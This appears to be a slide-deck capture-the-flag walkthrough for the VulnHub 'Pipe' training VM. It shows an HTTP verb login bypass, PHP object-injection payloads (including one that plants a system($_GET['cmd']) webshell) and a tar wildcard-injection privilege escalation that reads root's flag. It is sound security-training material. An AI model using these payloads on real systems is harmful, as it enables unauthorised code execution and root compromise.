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• To provide materials that allows anyone to gain practical 'hands-on' 

experience in digital security, computer software & network 

administration



Information Security Confidential - Partner Use Only

Target VM 

4

• Target VM: Pipe

• Download the ova file  
https://download.vulnhub.com/devrandom/pipe.ova

• Import  the ova file into your favorite hypervisor; 

• Attach a DHCP enabled interface to the machine and run it

• Objective

Capture the flag

https://download.vulnhub.com/devrandom/pipe.ova
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◎Testing environment

Linux Kali (attacker) >>>  Pipe (target vm)



Information Security Confidential - Partner Use Only

Walkthrough

6

◎From the attacker machine run the following command to find out 

Target VMs IP address:
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◎Scan the target machine IP (192.168.254.145)

◎ TCP ports 22 and 80 are open
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◎ Explore Port 80 in a browser

◎ Credentials are needed. Common attempts such as admin:admin, 

etc fail. There is a sentence which says “The site says: “index.php”
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◎ Using curl to send requests (GET and POST verbs) to  

http://192.168.254.145/index.php

◎ GET request

◎With GET we have an “401 Unauthorized” response from the 

server 

http://192.168.254.145/index.php
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◎ Using curl to send requests (GET and POST verbs) to  

http://192.168.254.145/index.php

◎ POST 

◎With GET we have an “401 Unauthorized”  but POST got an “200 

OK” response code hence bypassing the login page

http://192.168.254.145/index.php
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◎ Using Live HTTP Headers 

(https://addons.mozilla.org/ja/firefox/addon/live-http-headers-clone) 

to send a POST request to  http://192.168.254.145/index.php

https://addons.mozilla.org/ja/firefox/addon/live-http-headers-clone
http://192.168.254.145/index.php
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◎ Taking a look at the source
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◎ Taking a look at the source shows an accessible directory scriptz. 

Explore the directory 
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◎ Taking a look at the source of the page shows that some data is 

being serialized, so that it can be deserialized in the PHP backend 
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◎ Reading log.php.BAK file contents  
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◎ Reading log.php.BAK file contents reveals that this class, during 

its teardown will output to an arbitrary file, some arbitrary content  
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◎ Using  Live HTTP Headers to capture the parameter generated 

by clicking “Show Artist Info”
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◎ Decoding the previous parameter “param”

param=O:4:"Info":4:{s:2:"id";i:1;s:9:"firstname";s:4:"Rene";s:7:"surna

me";s:8:"Margitte";s:7:"artwork";s:23:"The Treachery of Images";}
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◎ Request used for testing decoded

######################################################

param=O:3:"Log":2:{s:8:"filename";s:30:"/var/www/html/scriptz/info.p

hp";s:4:"data";s:19:"<?php phpinfo(); ?>";}    

######################################################

◎Request used for testing encoded

O%3A3%3A%22Log%22%3A2%3A%7Bs%3A8%3A%22filename%

22%3Bs%3A30%3A%22%2Fvar%2Fwww%2Fhtml%2Fscriptz%2Fin

fo.php%22%3Bs%3A4%3A%22data%22%3Bs%3A19%3A%22%3C

%3Fphp+phpinfo%28%29%3B+%3F%3E%22%3B%7D%0D%0A
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◎Request used for testing encoded

######################################################

O%3A3%3A%22Log%22%3A2%3A%7Bs%3A8%3A%22filename%

22%3Bs%3A30%3A%22%2Fvar%2Fwww%2Fhtml%2Fscriptz%2Fin

fo.php%22%3Bs%3A4%3A%22data%22%3Bs%3A19%3A%22%3C

%3Fphp+phpinfo%28%29%3B+%3F%3E%22%3B%7D%0D%0A

######################################################
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◎ Using curl to exploit the vulnerability by uploading a file 

(“info.php”) on the target machine webroot
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◎ Verify the uploaded file
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◎ Using Curl to create a webshell

◎ Decoded payload 

#####################################################

O:3:"Log":2:{s:8:"filename";s:31:"/var/www/html/scriptz/shell.php";s:4

:"data";s:60:"<?php echo '<pre>' ; system($_GET['cmd']); echo 

'</pre>'; ?>";} 

#####################################################
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◎ Using Curl to create a webshell

◎ Encoded payload 

######################################################

O%3A3%3A%22Log%22%3A2%3A%7Bs%3A8%3A%22filename%

22%3Bs%3A31%3A%22%2Fvar%2Fwww%2Fhtml%2Fscriptz%2Fs

hell.php%22%3Bs%3A4%3A%22data%22%3Bs%3A60%3A%22%3

C%3Fphp+echo+%27%3Cpre%3E%27+%3B+system%28%24_GE

T%5B%27cmd%27%5D%29%3B+echo+%27%3C%2Fpre%3E%27

%3B+%3F%3E%22%3B%7D

######################################################
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◎ Using Curl to create a backdoor 

◎ Curl request 
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◎ Using Curl to create a webshell

◎ Verify the webshell has been uploaded Curl request 
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◎ Testing the webshell
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◎ Privilege escalation

◎ Check for any cronjobs running on the system via cat 

/etc/crontab
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◎ Privilege escalation

◎ /usr/bin/compress.sh which is readable and vulnerable to  

wildcard argument injection
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◎ Privilege escalation

◎ Execute the following commands to capture the flag

######################################################

// echo ‘cp /root/flag.txt /tmp/flag.txt; chmod +r /tmp/flag.txt’ > flag.sh 

// touch /home/rene/backup/--checkpoint=1

// touch /home/rene/backup/--checkpoint-action=exec=sh flag.sh 

// cd /tmp

// cat flag.txt

######################################################
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◎ Privilege escalation

◎ Execute the following commands to capture the flag
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◎Write for the write checkpoint 

#   */5 * * * * root /usr/bin/compress.sh  #

◎ Capture the flag
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• Vulnhub website

https://www.vulnhub.com

• Vulnerable VM download 

https://download.vulnhub.com/devrandom/pipe.ova

• Live HTTP Headers Mozilla Firefox 

https://addons.mozilla.org/ja/firefox/addon/live-http-headers-clone/

• Curl

https://github.com/curl/curl

• Unix Wildcards Gone Wild

http://www.defensecode.com/public/DefenseCode_Unix_WildCards_Gone_Wild.txt

https://download.vulnhub.com/devrandom/pipe.ova

